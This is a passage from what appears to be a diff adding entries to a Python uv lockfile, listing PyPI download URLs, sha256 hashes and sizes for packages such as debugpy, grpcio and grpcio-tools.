"https://files.pythonhosted.org/packages/fb/4e/931480b9552c7d0feebe40c73725dd7703dcc578ba9efc14fe0e6d31cfd1/debugpy-1.8.19-cp313-cp313-win_amd64.whl", hash = "sha256:c30639998a9f9cd9699b4b621942c0179a6527f083c72351f95c6ab1728d5b73", size = 5328206, upload-time = "2025-12-15T21:53:55.433Z" }, + { url = "https://files.pythonhosted.org/packages/f6/b9/cbec520c3a00508327476c7fce26fbafef98f412707e511eb9d19a2ef467/debugpy-1.8.19-cp314-cp314-macosx_15_0_universal2.whl", hash = "sha256:1e8c4d1bd230067bf1bbcdbd6032e5a57068638eb28b9153d008ecde288152af", size = 2537372, upload-time = "2025-12-15T21:53:57.318Z" }, + { url = "https://files.pythonhosted.org/packages/88/5e/cf4e4dc712a141e10d58405c58c8268554aec3c35c09cdcda7535ff13f76/debugpy-1.8.19-cp314-cp314-manylinux_2_34_x86_64.whl", hash = "sha256:d40c016c1f538dbf1762936e3aeb43a89b965069d9f60f9e39d35d9d25e6b809", size = 4268729, upload-time = "2025-12-15T21:53:58.712Z" }, + { url = "https://files.pythonhosted.org/packages/82/a3/c91a087ab21f1047db328c1d3eb5d1ff0e52de9e74f9f6f6fa14cdd93d58/debugpy-1.8.19-cp314-cp314-win32.whl", hash = "sha256:0601708223fe1cd0e27c6cce67a899d92c7d68e73690211e6788a4b0e1903f5b", size = 5286388, upload-time = "2025-12-15T21:54:00.687Z" }, + { url = "https://files.pythonhosted.org/packages/17/b8/bfdc30b6e94f1eff09f2dc9cc1f9cd1c6cde3d996bcbd36ce2d9a4956e99/debugpy-1.8.19-cp314-cp314-win_amd64.whl", hash = "sha256:8e19a725f5d486f20e53a1dde2ab8bb2c9607c40c00a42ab646def962b41125f", size = 5327741, upload-time = "2025-12-15T21:54:02.148Z" }, + { url = "https://files.pythonhosted.org/packages/25/3e/e27078370414ef35fafad2c06d182110073daaeb5d3bf734b0b1eeefe452/debugpy-1.8.19-py2.py3-none-any.whl", hash = "sha256:360ffd231a780abbc414ba0f005dad409e71c78637efe8f2bd75837132a41d38", size = 5292321, upload-time = "2025-12-15T21:54:16.024Z" }, +] + +[[package]] +name = "decorator" +version = "5.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/43/fa/6d96a0978d19e17b68d634497769987b16c8f4cd0a7a05048bec693caa6b/decorator-5.2.1.tar.gz", hash = "sha256:65f266143752f734b0a7cc83c46f4618af75b8c5911b00ccb61d0ac9b6da0360", size = 56711, upload-time = "2025-02-24T04:41:34.073Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4e/8c/f3147f5c4b73e7550fe5f9352eaa956ae838d5c51eb58e7a25b9f3e2643b/decorator-5.2.1-py3-none-any.whl", hash = "sha256:d316bb415a2d9e2d2b3abcc4084c6502fc09240e292cd76a76afc106a1c8e04a", size = 9190, upload-time = "2025-02-24T04:41:32.565Z" }, +] + +[[package]] +name = "defusedxml" +version = "0.7.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0f/d5/c66da9b79e5bdb124974bfe172b4daf3c984ebd9c2a06e2b8a4dc7331c72/defusedxml-0.7.1.tar.gz", hash = "sha256:1bb3032db185915b62d7c6209c5a8792be6a32ab2fedacc84e01b52c51aa3e69", size = 75520, upload-time = "2021-03-08T10:59:26.269Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/07/6c/aa3f2f849e01cb6a001cd8554a88d4c77c5c1a31c95bdf1cf9301e6d9ef4/defusedxml-0.7.1-py2.py3-none-any.whl", hash = "sha256:a352e7e428770286cc899e2542b6cdaedb2b4953ff269a210103ec58f6198a61", size = 25604, upload-time = "2021-03-08T10:59:24.45Z" }, +] + +[[package]] +name = "exceptiongroup" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, +] + +[[package]] +name = "execnet" +version = "2.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/bf/89/780e11f9588d9e7128a3f87788354c7946a9cbb1401ad38a48c4db9a4f07/execnet-2.1.2.tar.gz", hash = "sha256:63d83bfdd9a23e35b9c6a3261412324f964c2ec8dcd8d3c6916ee9373e0befcd", size = 166622, upload-time = "2025-11-12T09:56:37.75Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ab/84/02fc1827e8cdded4aa65baef11296a9bbe595c474f0d6d758af082d849fd/execnet-2.1.2-py3-none-any.whl", hash = "sha256:67fba928dd5a544b783f6056f449e5e3931a5c378b128bc18501f7ea79e296ec", size = 40708, upload-time = "2025-11-12T09:56:36.333Z" }, +] + +[[package]] +name = "executing" +version = "2.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cc/28/c14e053b6762b1044f34a13aab6859bbf40456d37d23aa286ac24cfd9a5d/executing-2.2.1.tar.gz", hash = "sha256:3632cc370565f6648cc328b32435bd120a1e4ebb20c77e3fdde9a13cd1e533c4", size = 1129488, upload-time = "2025-09-01T09:48:10.866Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c1/ea/53f2148663b321f21b5a606bd5f191517cf40b7072c0497d3c92c4a13b1e/executing-2.2.1-py2.py3-none-any.whl", hash = "sha256:760643d3452b4d777d295bb167ccc74c64a81df23fb5e08eff250c425a4b2017", size = 28317, upload-time = "2025-09-01T09:48:08.5Z" }, +] + +[[package]] +name = "fastjsonschema" +version = "2.21.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/20/b5/23b216d9d985a956623b6bd12d4086b60f0059b27799f23016af04a74ea1/fastjsonschema-2.21.2.tar.gz", hash = "sha256:b1eb43748041c880796cd077f1a07c3d94e93ae84bba5ed36800a33554ae05de", size = 374130, upload-time = "2025-08-14T18:49:36.666Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/a8/20d0723294217e47de6d9e2e40fd4a9d2f7c4b6ef974babd482a59743694/fastjsonschema-2.21.2-py3-none-any.whl", hash = "sha256:1c797122d0a86c5cace2e54bf4e819c36223b552017172f32c5c024a6b77e463", size = 24024, upload-time = "2025-08-14T18:49:34.776Z" }, +] + +[[package]] +name = "forbiddenfruit" +version = "0.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e6/79/d4f20e91327c98096d605646bdc6a5ffedae820f38d378d3515c42ec5e60/forbiddenfruit-0.1.4.tar.gz", hash = "sha256:e3f7e66561a29ae129aac139a85d610dbf3dd896128187ed5454b6421f624253", size = 43756, upload-time = "2021-01-16T21:03:35.401Z" } + +[[package]] +name = "fqdn" +version = "1.5.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/30/3e/a80a8c077fd798951169626cde3e239adeba7dab75deb3555716415bd9b0/fqdn-1.5.1.tar.gz", hash = "sha256:105ed3677e767fb5ca086a0c1f4bb66ebc3c100be518f0e0d755d9eae164d89f", size = 6015, upload-time = "2021-03-11T07:16:29.08Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cf/58/8acf1b3e91c58313ce5cb67df61001fc9dcd21be4fadb76c1a2d540e09ed/fqdn-1.5.1-py3-none-any.whl", hash = "sha256:3a179af3761e4df6eb2e026ff9e1a3033d3587bf980a0b1b2e1e5d08d7358014", size = 9121, upload-time = "2021-03-11T07:16:28.351Z" }, +] + +[[package]] +name = "googleapis-common-protos" +version = "1.72.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "protobuf", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e5/7b/adfd75544c415c487b33061fe7ae526165241c1ea133f9a9125a56b39fd8/googleapis_common_protos-1.72.0.tar.gz", hash = "sha256:e55a601c1b32b52d7a3e65f43563e2aa61bcd737998ee672ac9b951cd49319f5", size = 147433, upload-time = "2025-11-06T18:29:24.087Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c4/ab/09169d5a4612a5f92490806649ac8d41e3ec9129c636754575b3553f4ea4/googleapis_common_protos-1.72.0-py3-none-any.whl", hash = "sha256:4299c5a82d5ae1a9702ada957347726b167f9f8d1fc352477702a1e851ff4038", size = 297515, upload-time = "2025-11-06T18:29:13.14Z" }, +] + +[[package]] +name = "grpcio" +version = "1.80.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b7/48/af6173dbca4454f4637a4678b67f52ca7e0c1ed7d5894d89d434fecede05/grpcio-1.80.0.tar.gz", hash = "sha256:29aca15edd0688c22ba01d7cc01cb000d72b2033f4a3c72a81a19b56fd143257", size = 12978905, upload-time = "2026-03-30T08:49:10.502Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9d/cd/bb7b7e54084a344c03d68144450da7ddd5564e51a298ae1662de65f48e2d/grpcio-1.80.0-cp310-cp310-linux_armv7l.whl", hash = "sha256:886457a7768e408cdce226ad1ca67d2958917d306523a0e21e1a2fdaa75c9c9c", size = 6050363, upload-time = "2026-03-30T08:46:20.894Z" }, + { url = "https://files.pythonhosted.org/packages/16/02/1417f5c3460dea65f7a2e3c14e8b31e77f7ffb730e9bfadd89eda7a9f477/grpcio-1.80.0-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:7b641fc3f1dc647bfd80bd713addc68f6d145956f64677e56d9ebafc0bd72388", size = 12026037, upload-time = "2026-03-30T08:46:25.144Z" }, + { url = "https://files.pythonhosted.org/packages/43/98/c910254eedf2cae368d78336a2de0678e66a7317d27c02522392f949b5c6/grpcio-1.80.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:33eb763f18f006dc7fee1e69831d38d23f5eccd15b2e0f92a13ee1d9242e5e02", size = 6602306, upload-time = "2026-03-30T08:46:27.593Z" }, + { url = "https://files.pythonhosted.org/packages/7c/f8/88ca4e78c077b2b2113d95da1e1ab43efd43d723c9a0397d26529c2c1a56/grpcio-1.80.0-cp310-cp310-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:52d143637e3872633fc7dd7c3c6a1c84e396b359f3a72e215f8bf69fd82084fc", size = 7301535, upload-time = "2026-03-30T08:46:29.556Z" }, + { url = "https://files.pythonhosted.org/packages/f9/96/f28660fe2fe0f153288bf4a04e4910b7309d442395135c88ed4f5b3b8b40/grpcio-1.80.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c51bf8ac4575af2e0678bccfb07e47321fc7acb5049b4482832c5c195e04e13a", size = 6808669, upload-time = "2026-03-30T08:46:31.984Z" }, + { url = "https://files.pythonhosted.org/packages/47/eb/3f68a5e955779c00aeef23850e019c1c1d0e032d90633ba49c01ad5a96e0/grpcio-1.80.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:50a9871536d71c4fba24ee856abc03a87764570f0c457dd8db0b4018f379fed9", size = 7409489, upload-time = "2026-03-30T08:46:34.684Z" }, + { url = "https://files.pythonhosted.org/packages/5b/a7/d2f681a4bfb881be40659a309771f3bdfbfdb1190619442816c3f0ffc079/grpcio-1.80.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:a72d84ad0514db063e21887fbacd1fd7acb4d494a564cae22227cd45c7fbf199", size = 8423167, upload-time = "2026-03-30T08:46:36.833Z" }, + { url = "https://files.pythonhosted.org/packages/97/8a/29b4589c204959aa35ce5708400a05bba72181807c45c47b3ec000c39333/grpcio-1.80.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f7691a6788ad9196872f95716df5bc643ebba13c97140b7a5ee5c8e75d1dea81", size = 7846761, upload-time = "2026-03-30T08:46:40.091Z" }, + { url = "https://files.pythonhosted.org/packages/6b/d2/ed143e097230ee121ac5848f6ff14372dba91289b10b536d54fb1b7cbae7/grpcio-1.80.0-cp310-cp310-win32.whl", hash = "sha256:46c2390b59d67f84e882694d489f5b45707c657832d7934859ceb8c33f467069", size = 4156534, upload-time = "2026-03-30T08:46:42.026Z" }, + { url = "https://files.pythonhosted.org/packages/d5/c9/df8279bb49b29409995e95efa85b72973d62f8aeff89abee58c91f393710/grpcio-1.80.0-cp310-cp310-win_amd64.whl", hash = "sha256:dc053420fc75749c961e2a4c906398d7c15725d36ccc04ae6d16093167223b58", size = 4889869, upload-time = "2026-03-30T08:46:44.219Z" }, + { url = "https://files.pythonhosted.org/packages/5d/db/1d56e5f5823257b291962d6c0ce106146c6447f405b60b234c4f222a7cde/grpcio-1.80.0-cp311-cp311-linux_armv7l.whl", hash = "sha256:dfab85db094068ff42e2a3563f60ab3dddcc9d6488a35abf0132daec13209c8a", size = 6055009, upload-time = "2026-03-30T08:46:46.265Z" }, + { url = "https://files.pythonhosted.org/packages/6e/18/c83f3cad64c5ca63bca7e91e5e46b0d026afc5af9d0a9972472ceba294b3/grpcio-1.80.0-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:5c07e82e822e1161354e32da2662f741a4944ea955f9f580ec8fb409dd6f6060", size = 12035295, upload-time = "2026-03-30T08:46:49.099Z" }, + { url = "https://files.pythonhosted.org/packages/0f/8e/e14966b435be2dda99fbe89db9525ea436edc79780431a1c2875a3582644/grpcio-1.80.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ba0915d51fd4ced2db5ff719f84e270afe0e2d4c45a7bdb1e8d036e4502928c2", size = 6610297, upload-time = "2026-03-30T08:46:52.123Z" }, + { url = "https://files.pythonhosted.org/packages/cc/26/d5eb38f42ce0e3fdc8174ea4d52036ef8d58cc4426cb800f2610f625dd75/grpcio-1.80.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:3cb8130ba457d2aa09fa6b7c3ed6b6e4e6a2685fce63cb803d479576c4d80e21", size = 7300208, upload-time = "2026-03-30T08:46:54.859Z" }, + { url = "https://files.pythonhosted.org/packages/25/51/bd267c989f85a17a5b3eea65a6feb4ff672af41ca614e5a0279cc0ea381c/grpcio-1.80.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:09e5e478b3d14afd23f12e49e8b44c8684ac3c5f08561c43a5b9691c54d136ab", size = 6813442, upload-time = "2026-03-30T08:46:57.056Z" }, + { url = "https://files.pythonhosted.org/packages/9e/d9/d80eef735b19e9169e30164bbf889b46f9df9127598a83d174eb13a48b26/grpcio-1.80.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:00168469238b022500e486c1c33916acf2f2a9b2c022202cf8a1885d2e3073c1", size = 7414743, upload-time = "2026-03-30T08:46:59.682Z" }, + { url = "https://files.pythonhosted.org/packages/de/f2/567f5bd5054398ed6b0509b9a30900376dcf2786bd936812098808b49d8d/grpcio-1.80.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8502122a3cc1714038e39a0b071acb1207ca7844208d5ea0d091317555ee7106", size = 8426046, upload-time = "2026-03-30T08:47:02.474Z" }, + { url = "https://files.pythonhosted.org/packages/62/29/73ef0141b4732ff5eacd68430ff2512a65c004696997f70476a83e548e7e/grpcio-1.80.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ce1794f4ea6cc3ca29463f42d665c32ba1b964b48958a66497917fe9069f26e6", size = 7851641, upload-time = "2026-03-30T08:47:05.462Z" }, + { url = "https://files.pythonhosted.org/packages/46/69/abbfa360eb229a8623bab5f5a4f8105e445bd38ce81a89514ba55d281ad0/grpcio-1.80.0-cp311-cp311-win32.whl", hash = "sha256:51b4a7189b0bef2aa30adce3c78f09c83526cf3dddb24c6a96555e3b97340440", size = 4154368, upload-time = "2026-03-30T08:47:08.027Z" }, + { url = "https://files.pythonhosted.org/packages/6f/d4/ae92206d01183b08613e846076115f5ac5991bae358d2a749fa864da5699/grpcio-1.80.0-cp311-cp311-win_amd64.whl", hash = "sha256:02e64bb0bb2da14d947a49e6f120a75e947250aebe65f9629b62bb1f5c14e6e9", size = 4894235, upload-time = "2026-03-30T08:47:10.839Z" }, + { url = "https://files.pythonhosted.org/packages/5c/e8/a2b749265eb3415abc94f2e619bbd9e9707bebdda787e61c593004ec927a/grpcio-1.80.0-cp312-cp312-linux_armv7l.whl", hash = "sha256:c624cc9f1008361014378c9d776de7182b11fe8b2e5a81bc69f23a295f2a1ad0", size = 6015616, upload-time = "2026-03-30T08:47:13.428Z" }, + { url = "https://files.pythonhosted.org/packages/3e/97/b1282161a15d699d1e90c360df18d19165a045ce1c343c7f313f5e8a0b77/grpcio-1.80.0-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:f49eddcac43c3bf350c0385366a58f36bed8cc2c0ec35ef7b74b49e56552c0c2", size = 12014204, upload-time = "2026-03-30T08:47:15.873Z" }, + { url = "https://files.pythonhosted.org/packages/6e/5e/d319c6e997b50c155ac5a8cb12f5173d5b42677510e886d250d50264949d/grpcio-1.80.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d334591df610ab94714048e0d5b4f3dd5ad1bee74dfec11eee344220077a79de", size = 6563866, upload-time = "2026-03-30T08:47:18.588Z" }, + { url = "https://files.pythonhosted.org/packages/ae/f6/fdd975a2cb4d78eb67769a7b3b3830970bfa2e919f1decf724ae4445f42c/grpcio-1.80.0-cp312-cp312-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:0cb517eb1d0d0aaf1d87af7cc5b801d686557c1d88b2619f5e31fab3c2315921", size = 7273060, upload-time = "2026-03-30T08:47:21.113Z" }, + { url = "https://files.pythonhosted.org/packages/db/f0/a3deb5feba60d9538a962913e37bd2e69a195f1c3376a3dd44fe0427e996/grpcio-1.80.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4e78c4ac0d97dc2e569b2f4bcbbb447491167cb358d1a389fc4af71ab6f70411", size = 6782121, upload-time = "2026-03-30T08:47:23.827Z" }, + { url = "https://files.pythonhosted.org/packages/ca/84/36c6dcfddc093e108141f757c407902a05085e0c328007cb090d56646cdf/grpcio-1.80.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2ed770b4c06984f3b47eb0517b1c69ad0b84ef3f40128f51448433be904634cd", size = 7383811, upload-time = "2026-03-30T08:47:26.517Z" }, + { url = "https://files.pythonhosted.org/packages/7c/ef/f3a77e3dc5b471a0ec86c564c98d6adfa3510d38f8ee99010410858d591e/grpcio-1.80.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:256507e2f524092f1473071a05e65a5b10d84b82e3ff24c5b571513cfaa61e2f", size = 8393860, upload-time = "2026-03-30T08:47:29.439Z" }, + { url = "https://files.pythonhosted.org/packages/9b/8d/9d4d27ed7f33d109c50d6b5ce578a9914aa68edab75d65869a17e630a8d1/grpcio-1.80.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:9a6284a5d907c37db53350645567c522be314bac859a64a7a5ca63b77bb7958f", size = 7830132, upload-time = "2026-03-30T08:47:33.254Z" }, + { url = "https://files.pythonhosted.org/packages/14/e4/9990b41c6d7a44e1e9dee8ac11d7a9802ba1378b40d77468a7761d1ad288/grpcio-1.80.0-cp312-cp312-win32.whl", hash = "sha256:c71309cfce2f22be26aa4a847357c502db6c621f1a49825ae98aa0907595b193", size = 4140904, upload-time = "2026-03-30T08:47:35.319Z" }, + { url = "https://files.pythonhosted.org/packages/2f/2c/296f6138caca1f4b92a31ace4ae1b87dab692fc16a7a3417af3bb3c805bf/grpcio-1.80.0-cp312-cp312-win_amd64.whl", hash = "sha256:9fe648599c0e37594c4809d81a9e77bd138cc82eb8baa71b6a86af65426723ff", size = 4880944, upload-time = "2026-03-30T08:47:37.831Z" }, + { url = "https://files.pythonhosted.org/packages/2f/3a/7c3c25789e3f069e581dc342e03613c5b1cb012c4e8c7d9d5cf960a75856/grpcio-1.80.0-cp313-cp313-linux_armv7l.whl", hash = "sha256:e9e408fc016dffd20661f0126c53d8a31c2821b5c13c5d67a0f5ed5de93319ad", size = 6017243, upload-time = "2026-03-30T08:47:40.075Z" }, + { url = "https://files.pythonhosted.org/packages/04/19/21a9806eb8240e174fd1ab0cd5b9aa948bb0e05c2f2f55f9d5d7405e6d08/grpcio-1.80.0-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:92d787312e613754d4d8b9ca6d3297e69994a7912a32fa38c4c4e01c272974b0", size = 12010840, upload-time = "2026-03-30T08:47:43.11Z" }, + { url = "https://files.pythonhosted.org/packages/18/3a/23347d35f76f639e807fb7a36fad3068aed100996849a33809591f26eca6/grpcio-1.80.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8ac393b58aa16991a2f1144ec578084d544038c12242da3a215966b512904d0f", size = 6567644, upload-time = "2026-03-30T08:47:46.806Z" }, + { url = "https://files.pythonhosted.org/packages/ff/40/96e07ecb604a6a67ae6ab151e3e35b132875d98bc68ec65f3e5ab3e781d7/grpcio-1.80.0-cp313-cp313-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:68e5851ac4b9afe07e7f84483803ad167852570d65326b34d54ca560bfa53fb6", size = 7277830, upload-time = "2026-03-30T08:47:49.643Z" }, + { url = "https://files.pythonhosted.org/packages/9b/e2/da1506ecea1f34a5e365964644b35edef53803052b763ca214ba3870c856/grpcio-1.80.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:873ff5d17d68992ef6605330127425d2fc4e77e612fa3c3e0ed4e668685e3140", size = 6783216, upload-time = "2026-03-30T08:47:52.817Z" }, + { url = "https://files.pythonhosted.org/packages/44/83/3b20ff58d0c3b7f6caaa3af9a4174d4023701df40a3f39f7f1c8e7c48f9d/grpcio-1.80.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:2bea16af2750fd0a899bf1abd9022244418b55d1f37da2202249ba4ba673838d", size = 7385866, upload-time = "2026-03-30T08:47:55.687Z" }, + { url = "https://files.pythonhosted.org/packages/47/45/55c507599c5520416de5eefecc927d6a0d7af55e91cfffb2e410607e5744/grpcio-1.80.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ba0db34f7e1d803a878284cd70e4c63cb6ae2510ba51937bf8f45ba997cefcf7", size = 8391602, upload-time = "2026-03-30T08:47:58.303Z" }, + { url = "https://files.pythonhosted.org/packages/10/bb/dd06f4c24c01db9cf11341b547d0a016b2c90ed7dbbb086a5710df7dd1d7/grpcio-1.80.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8eb613f02d34721f1acf3626dfdb3545bd3c8505b0e52bf8b5710a28d02e8aa7", size = 7826752, upload-time = "2026-03-30T08:48:01.311Z" }, + { url = "https://files.pythonhosted.org/packages/f9/1e/9d67992ba23371fd63d4527096eb8c6b76d74d52b500df992a3343fd7251/grpcio-1.80.0-cp313-cp313-win32.whl", hash = "sha256:93b6f823810720912fd131f561f91f5fed0fda372b6b7028a2681b8194d5d294", size = 4142310, upload-time = "2026-03-30T08:48:04.594Z" }, + { url = "https://files.pythonhosted.org/packages/cf/e6/283326a27da9e2c3038bc93eeea36fb118ce0b2d03922a9cda6688f53c5b/grpcio-1.80.0-cp313-cp313-win_amd64.whl", hash = "sha256:e172cf795a3ba5246d3529e4d34c53db70e888fa582a8ffebd2e6e48bc0cba50", size = 4882833, upload-time = "2026-03-30T08:48:07.363Z" }, + { url = "https://files.pythonhosted.org/packages/c5/6d/e65307ce20f5a09244ba9e9d8476e99fb039de7154f37fb85f26978b59c3/grpcio-1.80.0-cp314-cp314-linux_armv7l.whl", hash = "sha256:3d4147a97c8344d065d01bbf8b6acec2cf86fb0400d40696c8bdad34a64ffc0e", size = 6017376, upload-time = "2026-03-30T08:48:10.005Z" }, + { url = "https://files.pythonhosted.org/packages/69/10/9cef5d9650c72625a699c549940f0abb3c4bfdb5ed45a5ce431f92f31806/grpcio-1.80.0-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:d8e11f167935b3eb089ac9038e1a063e6d7dbe995c0bb4a661e614583352e76f", size = 12018133, upload-time = "2026-03-30T08:48:12.927Z" }, + { url = "https://files.pythonhosted.org/packages/04/82/983aabaad82ba26113caceeb9091706a0696b25da004fe3defb5b346e15b/grpcio-1.80.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f14b618fc30de822681ee986cfdcc2d9327229dc4c98aed16896761cacd468b9", size = 6574748, upload-time = "2026-03-30T08:48:16.386Z" }, + { url = "https://files.pythonhosted.org/packages/07/d7/031666ef155aa0bf399ed7e19439656c38bbd143779ae0861b038ce82abd/grpcio-1.80.0-cp314-cp314-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:4ed39fbdcf9b87370f6e8df4e39ca7b38b3e5e9d1b0013c7b6be9639d6578d14", size = 7277711, upload-time = "2026-03-30T08:48:19.627Z" }, + { url = "https://files.pythonhosted.org/packages/e8/43/f437a78f7f4f1d311804189e8f11fb311a01049b2e08557c1068d470cb2e/grpcio-1.80.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:2dcc70e9f0ba987526e8e8603a610fb4f460e42899e74e7a518bf3c68fe1bf05", size = 6785372, upload-time = "2026-03-30T08:48:22.373Z" }, + { url = "https://files.pythonhosted.org/packages/93/3d/f6558e9c6296cb4227faa5c43c54a34c68d32654b829f53288313d16a86e/grpcio-1.80.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:448c884b668b868562b1bda833c5fce6272d26e1926ec46747cda05741d302c1", size = 7395268, upload-time = "2026-03-30T08:48:25.638Z" }, + { url = "https://files.pythonhosted.org/packages/06/21/0fdd77e84720b08843c371a2efa6f2e19dbebf56adc72df73d891f5506f0/grpcio-1.80.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a1dc80fe55685b4a543555e6eef975303b36c8db1023b1599b094b92aa77965f", size = 8392000, upload-time = "2026-03-30T08:48:28.974Z" }, + { url = "https://files.pythonhosted.org/packages/f5/68/67f4947ed55d2e69f2cc199ab9fd85e0a0034d813bbeef84df6d2ba4d4b7/grpcio-1.80.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:31b9ac4ad1aa28ffee5503821fafd09e4da0a261ce1c1281c6c8da0423c83b6e", size = 7828477, upload-time = "2026-03-30T08:48:32.054Z" }, + { url = "https://files.pythonhosted.org/packages/44/b6/8d4096691b2e385e8271911a0de4f35f0a6c7d05aff7098e296c3de86939/grpcio-1.80.0-cp314-cp314-win32.whl", hash = "sha256:367ce30ba67d05e0592470428f0ec1c31714cab9ef19b8f2e37be1f4c7d32fae", size = 4218563, upload-time = "2026-03-30T08:48:34.538Z" }, + { url = "https://files.pythonhosted.org/packages/e5/8c/bbe6baf2557262834f2070cf668515fa308b2d38a4bbf771f8f7872a7036/grpcio-1.80.0-cp314-cp314-win_amd64.whl", hash = "sha256:3b01e1f5464c583d2f567b2e46ff0d516ef979978f72091fd81f5ab7fa6e2e7f", size = 5019457, upload-time = "2026-03-30T08:48:37.308Z" }, +] + +[[package]] +name = "grpcio-health-checking" +version = "1.80.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "grpcio", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "protobuf", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d1/a2/aa3cc47f19c03f8e5287b987317059753141a3af8f66b96d5a64b3be10b8/grpcio_health_checking-1.80.0.tar.gz", hash = "sha256:2cc5f08bc8b816b8655ab6f59c71450063ba20766d31e21a493e912e3560c8b1", size = 17117, upload-time = "2026-03-30T08:54:41.899Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5e/d1/d97eb30386feff6ac2a662620e2ed68be352e9a182d62e06213db694906a/grpcio_health_checking-1.80.0-py3-none-any.whl", hash = "sha256:d804d4549cbb71e90ca2c7bf0c501060135dfd220aca8e2c54f96d3e79e210e5", size = 19125, upload-time = "2026-03-30T08:53:44.835Z" }, +] + +[[package]] +name = "grpcio-tools" +version = "1.80.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "grpcio", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "protobuf", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "setuptools", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/94/c8/1223f29c84a143ae9a56c084fc96894de0ba84b6e8d60a26241abd81d278/grpcio_tools-1.80.0.tar.gz", hash = "sha256:26052b19c6ce0dcf52d1024496aea3e2bdfa864159f06dc7b97b22d041a94b26", size = 6133212, upload-time = "2026-03-30T08:52:39.077Z" } +wheels = [ + { url = 